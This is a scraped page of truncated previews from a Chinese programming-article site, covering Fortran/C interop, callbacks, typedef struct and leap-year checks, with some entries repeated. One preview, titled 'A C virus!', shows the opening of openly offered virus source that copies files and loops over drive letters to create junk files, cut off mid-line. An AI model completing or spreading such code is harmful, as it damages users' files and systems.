易截截图软件、单文件、免安装、纯绿色、仅160KB
热门标签: c c# c++ asp asp.net linux php jsp java vb Python Ruby mysql sql access Sqlite sqlserver delphi javascript Oracle ajax wap mssql html css flash flex dreamweaver xml
 最新文章 :

Fortran & C 混编

C 调用 Fortran
c2ffn.f
      SUBROUTINE NAMEAGE(NAME, NLEN, AGE, TEMP)
      CHARACTER*(*) NAME
      INTEGER NLEN,AGE
      REAL TEMP
C
      WRITE(6,1000) NAME(1:NLEN),AGE,TEMP
 1000 FORMAT(1X,'Hello ',A,', who is ',I2,
     .       ' years old, has a temperature of ', f4.1)
      RETURN
      END
c2f.c
#include <string.h>
#ifdef _CRAY
# include <fortran.h>
#  define nameage       NAMEAGE
#else
#  if !defined(_AIX) && !defined(__hpux)
#    define nameage     nameage_
#  endif
#  define _fcd          char *
#  define _cptofcd(a, b)   (a)
#  define _fcdlen(a)    str ......

关于C中的回调函数的应用

在使用回调函数中,往往会设置一个指向函数的指针,那为什么不直接将函数名作为参数传递呢?
原因是:在C语言中函数本身不是变量,但是可以定义指向函数的指针。这种类型的指针可以被赋值、存放在数组中、传递给函数以及作为函数的返回值,
下面是我在网上找到的一个关于回调函数的小例子(对原文的例子有所修改)
原文链接:http://hi.baidu.com/helloweenpad/blog/item/d96d13fb4b2276809f514607.html/cmtid/feb4928edf8883e5f11f3636
#include<stdio.h>
typedef int (*CallBackFun)(char *p);
/*该语句定义了类型CallBackFun是“一个指向函数的指针,该函数具有1个char *类型的参数,返回值的类型为int.”*/
int Afun(char *p) {    // 方法 Afun,格式符合 CallBackFun 的格式,因此可以看作是一个 CallBackFun
    printf("Afun 回调打印出字符%s!\n", p);
    return 0;
}
int Cfun(char *p) {    // 方法 Bfun,格式符合 CallBackFun 的格式,因此可以看作是一个 CallBackFun
    printf("Cfun 回调打印:%s, Nice to meet you!\n", p); ......

console mode 中使用 C/C++ 编译器

jjhou.csdn.net里面有  
  --------------------------------------------------------------------------------  
   
  在   console   mode   中使用   C/C++   编译器  
  侯捷   1999.04.08  
   
   
  --------------------------------------------------------------------------------  
   
  我总是鼓励   C/C++   的学习者,在刚接触这个程式语言的时候,先以   console   mode(DOS-like)程式为目标。换言之,不要一开始就想写   GUI   程式、想开视窗、想有眩目亮丽的画面   --   那只是未走先飞,揠苗助长罢了。  
   
  所谓   console   程式,就是文字模式的程式,我们可以在其中好好把   C/C++   的语言根基练好,而不会分心於其他暂无必要的   GUI   枝节上。  
   
  我一直以为,这是理所当然的事情,却也一直发现,有不少大专院校的大一   C/C++   课程,同学们必 ......

console mode 中使用 C/C++ 编译器

jjhou.csdn.net里面有  
  --------------------------------------------------------------------------------  
   
  在   console   mode   中使用   C/C++   编译器  
  侯捷   1999.04.08  
   
   
  --------------------------------------------------------------------------------  
   
  我总是鼓励   C/C++   的学习者,在刚接触这个程式语言的时候,先以   console   mode(DOS-like)程式为目标。换言之,不要一开始就想写   GUI   程式、想开视窗、想有眩目亮丽的画面   --   那只是未走先飞,揠苗助长罢了。  
   
  所谓   console   程式,就是文字模式的程式,我们可以在其中好好把   C/C++   的语言根基练好,而不会分心於其他暂无必要的   GUI   枝节上。  
   
  我一直以为,这是理所当然的事情,却也一直发现,有不少大专院校的大一   C/C++   课程,同学们必 ......

一个C病毒 !

//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
{
    FILE *in,*out; //定义文件指针
    in = fopen(infile,"r"); //打开文件
    out = fopen(outfile,"w"); //建立文件
    while (!feof(in)) //判断文件是否已结束
    {
        fputc (fgetc(in),out); //从in读一字符到out
    }
    fclose (in); //关闭in文件
    fclose (out);//关闭out文件
    return 0; //返回
}
int MakeRubbish (void)
{
    int i; //声明整形变量i
    FILE *fp; //文件指针fp
    char *path; //路径指针
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
    char *addtion = " ......

C判断年份是否为闰年

1、编写一个布尔函数int is_leap_year(int year),判断参数year是不是闰年。如果某年份能被4整除,但不能被100整除,那么这一年就是闰年,此外,能被400整除的年份也是闰年。
#include <stdio.h>
int is_leap_year(int);
int main(){
int i,j;
printf("please input a number:");
scanf("%d",&i);
printf("i=%d\n",i);
j = is_leap_year(i);
if (j){
printf("is leap year\n");
}
else{
printf ("not leap year\n");
}
}
int is_leap_year(int year){
if (year % 4 == 0 && year % 100 != 0 || year % 400 == 0)
return 1;
else
return 0;
}
在is_leap_year函数中,根据判断信息进行判断。进行返回如果闰年返回1,不是闰年返回0;在此函数中涉及到优先级的问题。 ......

C/C++语法知识:typedef struct 用法详解

第一篇:typedef struct与struct的区别
1. 基本解释
typedef为C语言的关键字,作用是为一种数据类型定义一个新名字。这里的数据类型包括内部数据类型(int,char等)和自定义的数据类型
(struct等)。
在编程中使用typedef目的一般有两个,一个是给变量一个易记且意义明确的新名字,另一个是简化一些比较复杂的类型声明。
至于typedef有什么微妙之处,请你接着看下面对几个问题的具体阐述。
2. typedef & 结构的问题
当用下面的代码定义一个结构时,编译器报了一个错误,为什么呢?莫非C语言不允许在结构中包含指向它自己的指针吗?请你先猜想一下,然后看下文说
明:
typedef struct tagNode
{
 char *pItem;
 pNode pNext;
}
*pNode;
答案与分析:
1、typedef的最简单使用
typedef long byte_4;
给已知数据类型long起个新名字,叫byte_4。
2、 typedef与结构结合使用
typedef struct tagMyStruct
{
 int iNum;
 long lLength;
}
MyStruct;
这语句实际上完成两个操作:
1) 定义一个新的结构类型
struct tagMyStruct
{
 int iNum;
 long lLength;
};
分析:tagMyStruct称为“tag”,即“标签”,实 ......

C/C++语法知识:typedef struct 用法详解

第一篇:typedef struct与struct的区别
1. 基本解释
typedef为C语言的关键字,作用是为一种数据类型定义一个新名字。这里的数据类型包括内部数据类型(int,char等)和自定义的数据类型
(struct等)。
在编程中使用typedef目的一般有两个,一个是给变量一个易记且意义明确的新名字,另一个是简化一些比较复杂的类型声明。
至于typedef有什么微妙之处,请你接着看下面对几个问题的具体阐述。
2. typedef & 结构的问题
当用下面的代码定义一个结构时,编译器报了一个错误,为什么呢?莫非C语言不允许在结构中包含指向它自己的指针吗?请你先猜想一下,然后看下文说
明:
typedef struct tagNode
{
 char *pItem;
 pNode pNext;
}
*pNode;
答案与分析:
1、typedef的最简单使用
typedef long byte_4;
给已知数据类型long起个新名字,叫byte_4。
2、 typedef与结构结合使用
typedef struct tagMyStruct
{
 int iNum;
 long lLength;
}
MyStruct;
这语句实际上完成两个操作:
1) 定义一个新的结构类型
struct tagMyStruct
{
 int iNum;
 long lLength;
};
分析:tagMyStruct称为“tag”,即“标签”,实 ......
总记录数:40319; 总页数:6720; 每页6 条; 首页 上一页 [1891] [1892] [1893] [1894] 1895 [1896] [1897] [1898] [1899] [1900]  下一页 尾页
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号